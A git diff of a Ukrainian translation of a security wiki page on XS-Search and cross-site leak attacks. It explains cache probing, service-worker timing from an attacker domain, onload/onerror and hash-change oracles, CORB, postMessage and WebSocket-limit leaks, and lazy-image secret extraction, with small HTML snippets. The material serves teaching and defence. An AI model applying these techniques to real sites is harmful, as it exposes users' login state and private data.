- Моніторинг подій навігації у нововідкритому вікні може виявити, чи було ініційоване завантаження файлу (немає навігації) або чи вміст відображається в рядку (відбувається навігація). - Моніторинг подій навігації у нововідкритому вікні може виявити, чи було ініційоване завантаження файлу (без навігації) або чи вміст відображається в рядку (відбувається навігація).
У ситуаціях, коли лише авторизовані користувачі можуть ініціювати такі завантаження, ці техніки можуть бути використані для непрямого виведення стану аутентифікації користувача на основі відповіді браузера на запит завантаження. У ситуаціях, коли лише користувачі, що увійшли в систему, можуть ініціювати такі завантаження, ці техніки можуть бути використані для непрямого виведення стану аутентифікації користувача на основі відповіді браузера на запит завантаження.
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a> ### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
@ -766,10 +663,10 @@ CSS селектор `:visited` використовується для стил
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (з [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)) - **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (з [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> [!WARNING] > [!WARNING]
> Ось чому ця техніка цікава: Chrome тепер має **розподіл кешу**, і ключ кешу нововідкритої сторінки є: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, але якщо я відкрию сторінку ngrok і використаю fetch в ній, ключ кешу буде: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **ключ кешу різний**, тому кеш не може бути спільним. Ви можете знайти більше деталей тут: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\ > Ось чому ця техніка цікава: Chrome тепер має **розподіл кешу**, і ключ кешу нововідкритої сторінки: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, але якщо я відкрию сторінку ngrok і використаю fetch в ній, ключ кешу буде: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **ключ кешу різний**, тому кеш не може бути спільним. Ви можете знайти більше деталей тут: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Коментар з [**тут**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)) > (Коментар з [**тут**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
Якщо сайт `example.com` включає ресурс з `*.example.com/resource`, то цей ресурс матиме **той же ключ кешу**, як якби ресурс був безпосередньо **запрошений через навігацію верхнього рівня**. Це тому, що ключ кешу складається з верхнього рівня _eTLD+1_ та фрейму _eTLD+1_. Якщо сайт `example.com` включає ресурс з `*.example.com/resource`, то цей ресурс матиме **той же ключ кешу**, як якби ресурс був безпосередньо **запитаний через навігацію верхнього рівня**. Це тому, що ключ кешу складається з верхнього рівня _eTLD+1_ та фрейму _eTLD+1_.
Оскільки доступ до кешу швидший, ніж завантаження ресурсу, можна спробувати змінити місце розташування сторінки та скасувати його через 20 мс (наприклад) після. Якщо походження змінилося після зупинки, це означає, що ресурс був закешований.\ Оскільки доступ до кешу швидший, ніж завантаження ресурсу, можна спробувати змінити місце розташування сторінки та скасувати його через 20 мс (наприклад) після. Якщо походження змінилося після зупинки, це означає, що ресурс був закешований.\
Або просто **надіслати деякі запити до потенційно закешованої сторінки та виміряти час, який це займає**. Або просто **надіслати деякі запити до потенційно закешованої сторінки та виміряти час, який це займає**.
@ -789,17 +686,17 @@ CSS селектор `:visited` використовується для стил
- **Inclusion Methods**: Fetch API - **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing - **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller) - **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Summary:** Можливо спробувати завантажити ресурс і скасувати його до того, як він буде завантажений. В залежності від того, чи виникає помилка, ресурс був або не був закешований. - **Summary:** Можливо спробувати завантажити ресурс і перервати завантаження до того, як воно завершиться. В залежності від того, чи виникає помилка, ресурс був або не був закешований.
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller) - **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Використовуйте _**fetch**_ та _**setTimeout**_ з **AbortController**, щоб виявити, чи **ресурс закешований** і видалити конкретний ресурс з кешу браузера. Більше того, процес відбувається без кешування нового вмісту. Використовуйте _**fetch**_ та _**setTimeout**_ з **AbortController**, щоб виявити, чи **ресурс закешований**, і видалити конкретний ресурс з кешу браузера. Більше того, процес відбувається без кешування нового вмісту.
### Script Pollution ### Script Pollution
- **Inclusion Methods**: HTML Elements (script) - **Inclusion Methods**: HTML Elements (script)
- **Detectable Difference**: Page Content - **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag) - **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Summary:** Можливо **перезаписати вбудовані функції** та читати їх аргументи, навіть з **крос-доменного скрипту** (який не може бути прочитаний безпосередньо), це може **викрити цінну інформацію**. - **Summary:** Можливо **перезаписати вбудовані функції** та читати їх аргументи, навіть з **крос-доменного скрипту** (який не може бути прочитаний безпосередньо), це може **витікати цінну інформацію**.
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag) - **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
### Service Workers <a href="#service-workers" id="service-workers"></a> ### Service Workers <a href="#service-workers" id="service-workers"></a>
@ -810,9 +707,9 @@ CSS селектор `:visited` використовується для стил
- **Summary:** Вимірювання часу виконання веб-додатку за допомогою сервісних працівників. - **Summary:** Вимірювання часу виконання веб-додатку за допомогою сервісних працівників.
- **Code Example**: - **Code Example**:
У даному сценарії зловмисник ініціює реєстрацію **сервісного працівника** в одному з їх доменів, зокрема "attacker.com". Далі зловмисник відкриває нове вікно на цільовому веб-сайті з основного документа та інструктує **сервісного працівника** розпочати таймер. Коли нове вікно починає завантажуватися, зловмисник переходить за посиланням, отриманим на попередньому кроці, на сторінку, керовану **сервісним працівником**. У даному сценарії зловмисник ініціює реєстрацію **сервісного працівника** в одному зі своїх доменів, зокрема "attacker.com". Далі зловмисник відкриває нове вікно на цільовому веб-сайті з основного документа та інструктує **сервісного працівника** розпочати таймер. Коли нове вікно починає завантажуватися, зловмисник переходить за посиланням, отриманим на попередньому етапі, на сторінку, керовану **сервісним працівником**.
При надходженні запиту, ініційованого на попередньому кроці, **сервісний працівник** відповідає статус-кодом **204 (No Content)**, ефективно завершуючи процес навігації. У цей момент **сервісний працівник** фіксує вимірювання з таймера, ініційованого раніше на другому кроці. Це вимірювання впливає на тривалість JavaScript, що викликає затримки в процесі навігації. При надходженні запиту, ініційованого на попередньому етапі, **сервісний працівник** відповідає статус-кодом **204 (No Content)**, ефективно завершуючи процес навігації. У цей момент **сервісний працівник** фіксує вимірювання з таймера, ініційованого раніше на другому етапі. Це вимірювання впливає на тривалість JavaScript, що викликає затримки в процесі навігації.
> [!WARNING] > [!WARNING]
> У вимірюванні часу виконання можливо **усунути** **мережеві фактори**, щоб отримати **більш точні вимірювання**. Наприклад, завантажуючи ресурси, що використовуються сторінкою, перед її завантаженням. > У вимірюванні часу виконання можливо **усунути** **мережеві фактори**, щоб отримати **більш точні вимірювання**. Наприклад, завантажуючи ресурси, що використовуються сторінкою, перед її завантаженням.
@ -830,12 +727,12 @@ CSS селектор `:visited` використовується для стил
- **Inclusion Methods**: Pop-ups - **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Timing (зазвичай через вміст сторінки, статус-код) - **Detectable Difference**: Timing (зазвичай через вміст сторінки, статус-код)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Summary:** Використовуйте [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), щоб виміряти час, необхідний для виконання запиту за допомогою `window.open`. Можна використовувати й інші годинники. - **Summary:** Використовуйте [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow), щоб виміряти час, необхідний для виконання запиту, використовуючи `window.open`. Можна використовувати й інші годинники.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks) - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
## With HTML or Re Injection ## With HTML or Re Injection
Тут ви можете знайти техніки для ексфільтрації інформації з крос-доменного HTML **впроваджуючи HTML вміст**. Ці техніки цікаві в випадках, коли з будь-якої причини ви можете **впроваджувати HTML, але не можете впроваджувати JS код**. Тут ви можете знайти техніки для ексфільтрації інформації з крос-доменного HTML **впровадження HTML вмісту**. Ці техніки цікаві в випадках, коли з будь-якої причини ви можете **впроваджувати HTML, але не можете впроваджувати JS код**.
### Dangling Markup ### Dangling Markup
@ -846,14 +743,14 @@ dangling-markup-html-scriptless-injection/
### Image Lazy Loading ### Image Lazy Loading
Якщо вам потрібно **експортувати вміст** і ви можете **додати HTML перед секретом**, вам слід перевірити **поширені техніки висячого розмітки**.\ Якщо вам потрібно **експортувати вміст** і ви можете **додати HTML перед секретом**, вам слід перевірити **поширені техніки висячого розмітки**.\
Однак, якщо з якоїсь причини ви **МУСТЕ** робити це **символ за символом** (можливо, зв'язок відбувається через кеш), ви можете використовувати цей трюк. Однак, якщо з якоїсь причини ви **МУСТЕ** робити це **символ за символом** (можливо, комунікація відбувається через кеш), ви можете використовувати цей трюк.
**Зображення** в HTML має атрибут "**loading**", значення якого може бути "**lazy**". У цьому випадку зображення буде завантажено, коли його переглядають, а не під час завантаження сторінки: **Зображення** в HTML має атрибут "**loading**", значення якого може бути "**lazy**". У цьому випадку зображення буде завантажено, коли його переглядають, а не під час завантаження сторінки:
```html ```html
<img src=/something loading=lazy > <img src=/something loading=lazy >
``` ```
Отже, що ви можете зробити, це **додати багато сміттєвих символів** (наприклад, **тисячі "W"**) для **заповнення веб-сторінки перед секретом або додати щось на кшталт** `<br><canvas height="1850px"></canvas><br>.`\ Отже, що ви можете зробити, це **додати багато сміттєвих символів** (наприклад, **тисячі "W"**) для **заповнення веб-сторінки перед секретом або додати щось на кшталт** `<br><canvas height="1850px"></canvas><br>.`\
Тоді, якщо, наприклад, наша **ін'єкція з'явиться перед прапором**, **зображення** буде **завантажено**, але якщо з'явиться **після** **прапора**, прапор + сміття **перешкодять його завантаженню** (вам потрібно буде експериментувати з кількістю сміття, яке потрібно розмістити). Це те, що сталося в [**цьому звіті**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/). Тоді, якщо, наприклад, наша **ін'єкція з'явиться перед прапором**, **зображення** буде **завантажено**, але якщо з'явиться **після** **прапора**, прапор + сміття **перешкодять його завантаженню** (вам потрібно буде експериментувати з кількістю сміття, яке потрібно розмістити). Це те, що сталося в [**цьому описі**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Інший варіант - використовувати **scroll-to-text-fragment**, якщо це дозволено: Інший варіант - використовувати **scroll-to-text-fragment**, якщо це дозволено:

View File

@ -9,7 +9,7 @@ XS-Search - це метод, що використовується для **ек
Ключові компоненти, що беруть участь у цій атаці, включають: Ключові компоненти, що беруть участь у цій атаці, включають:
- **Вразливий веб**: Цільовий веб-сайт, з якого планується екстракція інформації. - **Вразливий веб**: Цільовий веб-сайт, з якого планується екстракція інформації.
- **Веб-атакуючого**: Зловмисний веб-сайт, створений атакуючим, який відвідує жертва, що містить експлойт. - **Веб-атакуючого**: Зловмисний веб-сайт, створений атакуючим, який відвідує жертва, на якому розміщено експлойт.
- **Метод включення**: Техніка, що використовується для включення Вразливого вебу в Веб-атакуючого (наприклад, window.open, iframe, fetch, HTML тег з href тощо). - **Метод включення**: Техніка, що використовується для включення Вразливого вебу в Веб-атакуючого (наприклад, window.open, iframe, fetch, HTML тег з href тощо).
- **Техніка витоку**: Техніки, що використовуються для визначення відмінностей у стані Вразливого вебу на основі інформації, зібраної через метод включення. - **Техніка витоку**: Техніки, що використовуються для визначення відмінностей у стані Вразливого вебу на основі інформації, зібраної через метод включення.
- **Стан**: Два потенційні стани Вразливого вебу, які атакуючий намагається розрізнити. - **Стан**: Два потенційні стани Вразливого вебу, які атакуючий намагається розрізнити.
@ -20,7 +20,7 @@ XS-Search - це метод, що використовується для **ек
Кілька аспектів можна проаналізувати, щоб відрізнити стани Вразливого вебу: Кілька аспектів можна проаналізувати, щоб відрізнити стани Вразливого вебу:
- **Код статусу**: Відрізнення між **різними кодами статусу HTTP** крос-домен, такими як помилки сервера, помилки клієнта або помилки аутентифікації. - **Код статусу**: Відрізнення між **різними кодами статусу HTTP** крос-домен, такими як помилки сервера, помилки клієнта або помилки аутентифікації.
- **Використання API**: Визначення **використання веб-API** на різних сторінках, що показує, чи використовує крос-домена сторінка конкретний JavaScript Web API. - **Використання API**: Визначення **використання веб-API** на різних сторінках, що виявляє, чи використовує крос-домена сторінка конкретний JavaScript Web API.
- **Перенаправлення**: Виявлення навігацій на різні сторінки, не лише HTTP перенаправлень, але й тих, що викликані JavaScript або HTML. - **Перенаправлення**: Виявлення навігацій на різні сторінки, не лише HTTP перенаправлень, але й тих, що викликані JavaScript або HTML.
- **Вміст сторінки**: Спостереження за **варіаціями в тілі відповіді HTTP** або в підресурсах сторінки, таких як **кількість вбудованих фреймів** або розмірні відмінності в зображеннях. - **Вміст сторінки**: Спостереження за **варіаціями в тілі відповіді HTTP** або в підресурсах сторінки, таких як **кількість вбудованих фреймів** або розмірні відмінності в зображеннях.
- **HTTP заголовок**: Зазначення наявності або, можливо, значення **конкретного заголовка відповіді HTTP**, включаючи заголовки, такі як X-Frame-Options, Content-Disposition та Cross-Origin-Resource-Policy. - **HTTP заголовок**: Зазначення наявності або, можливо, значення **конкретного заголовка відповіді HTTP**, включаючи заголовки, такі як X-Frame-Options, Content-Disposition та Cross-Origin-Resource-Policy.
@ -29,8 +29,8 @@ XS-Search - це метод, що використовується для **ек
### Методи включення ### Методи включення
- **HTML елементи**: HTML пропонує різні елементи для **включення ресурсів з крос-доменів**, такі як таблиці стилів, зображення або скрипти, змушуючи браузер запитувати не-HTML ресурс. Збірка потенційних HTML елементів для цієї мети доступна за [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). - **HTML елементи**: HTML пропонує різні елементи для **включення ресурсів з крос-доменів**, такі як таблиці стилів, зображення або скрипти, змушуючи браузер запитувати не-HTML ресурс. Збірка потенційних HTML елементів для цієї мети доступна за [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Фрейми**: Елементи, такі як **iframe**, **object** та **embed**, можуть вбудовувати HTML ресурси безпосередньо в сторінку атакуючого. Якщо сторінка **не має захисту від фреймів**, JavaScript може отримати доступ до об'єкта вікна вбудованого ресурсу через властивість contentWindow. - **Фрейми**: Елементи, такі як **iframe**, **object** та **embed**, можуть вбудовувати HTML ресурси безпосередньо в сторінку атакуючого. Якщо сторінка **не має захисту від фреймування**, JavaScript може отримати доступ до об'єкта вікна вбудованого ресурсу через властивість contentWindow.
- **Спливаючі вікна**: Метод **`window.open`** відкриває ресурс у новій вкладці або вікні, надаючи **доступ до вікна** для JavaScript для взаємодії з методами та властивостями відповідно до SOP. Спливаючі вікна, які часто використовуються в одноразовій аутентифікації, обходять обмеження фреймів і куків цільового ресурсу. Однак сучасні браузери обмежують створення спливаючих вікон до певних дій користувача. - **Спливаючі вікна**: Метод **`window.open`** відкриває ресурс у новій вкладці або вікні, надаючи **доступ до вікна** для JavaScript для взаємодії з методами та властивостями відповідно до SOP. Спливаючі вікна, які часто використовуються в одноразовій аутентифікації, обходять обмеження фреймування та куків цільового ресурсу. Однак сучасні браузери обмежують створення спливаючих вікон до певних дій користувача.
- **Запити JavaScript**: JavaScript дозволяє прямі запити до цільових ресурсів, використовуючи **XMLHttpRequests** або **Fetch API**. Ці методи пропонують точний контроль над запитом, наприклад, можливість слідувати HTTP перенаправленням. - **Запити JavaScript**: JavaScript дозволяє прямі запити до цільових ресурсів, використовуючи **XMLHttpRequests** або **Fetch API**. Ці методи пропонують точний контроль над запитом, наприклад, можливість слідувати HTTP перенаправленням.
### Техніки витоку ### Техніки витоку
@ -49,7 +49,7 @@ XSinator - це автоматичний інструмент для **пере
Ви можете **доступитися до інструменту за** [**https://xsinator.com/**](https://xsinator.com/) Ви можете **доступитися до інструменту за** [**https://xsinator.com/**](https://xsinator.com/)
> [!WARNING] > [!WARNING]
> **Виключені XS-Leaks**: Нам довелося виключити XS-Leaks, які покладаються на **сервісні працівники**, оскільки вони заважали б іншим витокам в XSinator. Крім того, ми вирішили **виключити XS-Leaks, які покладаються на неправильну конфігурацію та помилки в конкретному веб-додатку**. Наприклад, неправильні конфігурації CrossOrigin Resource Sharing (CORS), витік postMessage або Cross-Site Scripting. Додатково, ми виключили витоки на основі часу, оскільки вони часто страждають від повільності, шуму та неточності. > **Виключені XS-Leaks**: Нам довелося виключити XS-Leaks, які покладаються на **сервісні працівники**, оскільки вони можуть заважати іншим витокам у XSinator. Крім того, ми вирішили **виключити XS-Leaks, які покладаються на неправильну конфігурацію та помилки в конкретному веб-додатку**. Наприклад, неправильні конфігурації CrossOrigin Resource Sharing (CORS), витік postMessage або Cross-Site Scripting. Додатково, ми виключили витоки на основі часу, оскільки вони часто страждають від повільності, шуму та неточності.
## **Техніки на основі часу** ## **Техніки на основі часу**
@ -66,14 +66,14 @@ XSinator - це автоматичний інструмент для **пере
- **Методи включення**: Фрейми, HTML елементи - **Методи включення**: Фрейми, HTML елементи
- **Виявлена відмінність**: Код статусу - **Виявлена відмінність**: Код статусу
- **Більше інформації**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/) - **Більше інформації**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
- **Резюме**: якщо намагатися завантажити ресурс, події onerror/onload спрацьовують, коли ресурс завантажується успішно/неуспішно, можна з'ясувати код статусу. - **Резюме**: якщо намагатися завантажити ресурс, події onerror/onload спрацьовують, коли ресурс завантажено успішно/неуспішно, можна з'ясувати код статусу.
- **Приклад коду**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>) - **Приклад коду**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
{{#ref}} {{#ref}}
cookie-bomb-+-onerror-xs-leak.md cookie-bomb-+-onerror-xs-leak.md
{{#endref}} {{#endref}}
Приклад коду намагається **завантажити об'єкти скриптів з JS**, але **інші теги**, такі як об'єкти, таблиці стилів, зображення, аудіо також можуть бути використані. Більше того, також можливо безпосередньо інжектувати **тег** і оголосити події `onload` та `onerror` всередині тега (замість того, щоб інжектувати його з JS). Приклад коду намагається **завантажити об'єкти скриптів з JS**, але **інші теги**, такі як об'єкти, таблиці стилів, зображення, аудіо також можуть бути використані. Більше того, також можливо безпосередньо ввести **тег** і оголосити події `onload` та `onerror` всередині тега (замість того, щоб вводити його з JS).
Існує також версія цієї атаки без скриптів: Існує також версія цієї атаки без скриптів:
```html ```html
@ -136,14 +136,14 @@ performance.now-+-force-heavy-task.md
Припустимо, що ви можете **вставити** **сторінку**, яка має **секретний** контент **всередину Iframe**. Припустимо, що ви можете **вставити** **сторінку**, яка має **секретний** контент **всередину Iframe**.
Ви можете **змусити жертву шукати** файл, що містить "_**flag**_", використовуючи **Iframe** (експлуатуючи CSRF, наприклад). Всередині Iframe ви знаєте, що _**подія onload**_ буде **виконана завжди принаймні один раз**. Тоді ви можете **змінити** **URL** **iframe**, змінюючи лише **вміст** **hash** в URL. Ви можете **змусити жертву шукати** файл, який містить "_**flag**_", використовуючи **Iframe** (експлуатуючи CSRF, наприклад). Всередині Iframe ви знаєте, що _**подія onload**_ буде **виконана завжди принаймні один раз**. Тоді ви можете **змінити** **URL** **iframe**, змінюючи лише **контент** **hash** всередині URL.
Наприклад: Наприклад:
1. **URL1**: www.attacker.com/xssearch#try1 1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2 2. **URL2**: www.attacker.com/xssearch#try2
Якщо перший URL був **успішно завантажений**, тоді, при **зміні** частини **hash** URL, **подія onload** **не буде знову викликана**. Але **якщо** на сторінці була якась **помилка** під час **завантаження**, тоді **подія onload** буде **викликана знову**. Якщо перший URL був **успішно завантажений**, тоді, при **зміні** частини **hash** URL, **подія onload** **не буде знову викликана**. Але **якщо** на сторінці була якась **помилка** при **завантаженні**, тоді **подія onload** буде **викликана знову**.
Тоді ви можете **відрізнити** між **правильно** завантаженою сторінкою або сторінкою, яка має **помилку** при доступі. Тоді ви можете **відрізнити** між **правильно** завантаженою сторінкою або сторінкою, яка має **помилку** при доступі.
@ -152,7 +152,7 @@ performance.now-+-force-heavy-task.md
- **Inclusion Methods**: Frames - **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content - **Detectable Difference**: Page Content
- **More info**: - **More info**:
- **Summary:** Якщо **сторінка** **повертає** **чутливий** контент, **або** контент, який може бути **контрольований** користувачем. Користувач може встановити **дійсний JS код у негативному випадку**, завантажуючи кожну спробу всередині **`<script>`** тегів, так що в **негативних** випадках код **зловмисника** буде **виконаний**, а в **позитивних** випадках **нічого** не буде виконано. - **Summary:** Якщо **сторінка** **повертає** **чутливий** контент, **або** контент, який може бути **контрольований** користувачем. Користувач може встановити **дійсний JS код у негативному випадку**, **завантажуючи** кожну спробу всередині **`<script>`** тегів, так що в **негативних** випадках код **зловмисника** **виконується**, а в **позитивних** випадках **нічого** не буде виконано.
- **Code Example:** - **Code Example:**
{{#ref}} {{#ref}}
@ -164,8 +164,8 @@ javascript-execution-xs-leak.md
- **Inclusion Methods**: HTML Elements - **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code & Headers - **Detectable Difference**: Status Code & Headers
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/) - **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Summary**: **Cross-Origin Read Blocking (CORB)** є заходом безпеки, який запобігає завантаженню веб-сторінками певних чутливих крос-доменних ресурсів для захисту від атак, таких як **Spectre**. Однак зловмисники можуть експлуатувати його захисну поведінку. Коли відповідь, що підлягає **CORB**, повертає _**захищений CORB**_ `Content-Type` з `nosniff` і статусом `2xx`, **CORB** видаляє тіло та заголовки відповіді. Зловмисники, спостерігаючи за цим, можуть вивести комбінацію **статус-коду** (який вказує на успіх або помилку) та `Content-Type` (який вказує, чи захищений він **CORB**), що може призвести до потенційного витоку інформації. - **Summary**: **Cross-Origin Read Blocking (CORB)** є заходом безпеки, який запобігає завантаженню веб-сторінками певних чутливих крос-доменних ресурсів для захисту від атак, таких як **Spectre**. Однак зловмисники можуть експлуатувати його захисну поведінку. Коли відповідь, що підлягає **CORB**, повертає _**захищений CORB**_ `Content-Type` з `nosniff` і статус-кодом `2xx`, **CORB** видаляє тіло та заголовки відповіді. Зловмисники, спостерігаючи за цим, можуть вивести комбінацію **статус-коду** (який вказує на успіх або помилку) та `Content-Type` (який вказує, чи захищений він **CORB**), що може призвести до потенційного витоку інформації.
- **Code Example:** - **Code Example**:
Перевірте посилання з додатковою інформацією про атаку. Перевірте посилання з додатковою інформацією про атаку.
@ -188,7 +188,7 @@ javascript-execution-xs-leak.md
- **Summary**: Збирати чутливу інформацію з postMessage або використовувати наявність postMessages як оракул, щоб дізнатися статус користувача на сторінці - **Summary**: Збирати чутливу інформацію з postMessage або використовувати наявність postMessages як оракул, щоб дізнатися статус користувача на сторінці
- **Code Example**: `Any code listening for all postMessages.` - **Code Example**: `Any code listening for all postMessages.`
Застосунки часто використовують [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) для спілкування між різними джерелами. Однак цей метод може ненавмисно розкрити **чутливу інформацію**, якщо параметр `targetOrigin` не вказаний належним чином, що дозволяє будь-якому вікну отримувати повідомлення. Більше того, сам факт отримання повідомлення може діяти як **оракул**; наприклад, певні повідомлення можуть надсилатися лише користувачам, які увійшли в систему. Отже, наявність або відсутність цих повідомлень може розкрити інформацію про стан або особу користувача, наприклад, чи вони аутентифіковані чи ні. Додатки часто використовують [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) для спілкування між різними джерелами. Однак цей метод може ненавмисно розкрити **чутливу інформацію**, якщо параметр `targetOrigin` не вказаний належним чином, що дозволяє будь-якому вікну отримувати повідомлення. Більше того, сам факт отримання повідомлення може діяти як **оракул**; наприклад, певні повідомлення можуть надсилатися лише користувачам, які увійшли в систему. Отже, наявність або відсутність цих повідомлень може розкрити інформацію про стан або особу користувача, наприклад, чи аутентифікований він чи ні.
## Global Limits Techniques ## Global Limits Techniques
@ -200,7 +200,7 @@ javascript-execution-xs-leak.md
- **Summary**: Витрата ліміту з'єднань WebSocket витікає кількість з'єднань WebSocket крос-доменної сторінки. - **Summary**: Витрата ліміту з'єднань WebSocket витікає кількість з'єднань WebSocket крос-доменної сторінки.
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>) - **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
Можливо визначити, чи і скільки **з'єднань WebSocket використовує цільова сторінка**. Це дозволяє зловмиснику виявити стани застосунку та витік інформації, пов'язаної з кількістю з'єднань WebSocket. Можливо визначити, чи використовує цільова сторінка **з'єднання WebSocket**, і скільки їх. Це дозволяє зловмиснику виявити стани програми та витік інформації, пов'язаної з кількістю з'єднань WebSocket.
Якщо одне **джерело** використовує **максимальну кількість об'єктів з'єднання WebSocket**, незалежно від їх стану з'єднання, створення **нових об'єктів призведе до виключень JavaScript**. Щоб виконати цю атаку, веб-сайт зловмисника відкриває цільовий веб-сайт у спливаючому вікні або iframe, а потім, після завантаження цільового веб-сайту, намагається створити максимальну кількість можливих з'єднань WebSocket. **Кількість викинутих виключень** є **кількістю з'єднань WebSocket, які використовує цільовий веб-сайт**. Якщо одне **джерело** використовує **максимальну кількість об'єктів з'єднання WebSocket**, незалежно від їх стану з'єднання, створення **нових об'єктів призведе до виключень JavaScript**. Щоб виконати цю атаку, веб-сайт зловмисника відкриває цільовий веб-сайт у спливаючому вікні або iframe, а потім, після завантаження цільового веб-сайту, намагається створити максимальну кількість можливих з'єднань WebSocket. **Кількість викинутих виключень** є **кількістю з'єднань WebSocket, які використовує цільовий веб-сайт**.
@ -214,7 +214,7 @@ javascript-execution-xs-leak.md
Цей XS-Leak дозволяє зловмиснику **виявити, коли крос-домена сторінка ініціює запит на оплату**. Цей XS-Leak дозволяє зловмиснику **виявити, коли крос-домена сторінка ініціює запит на оплату**.
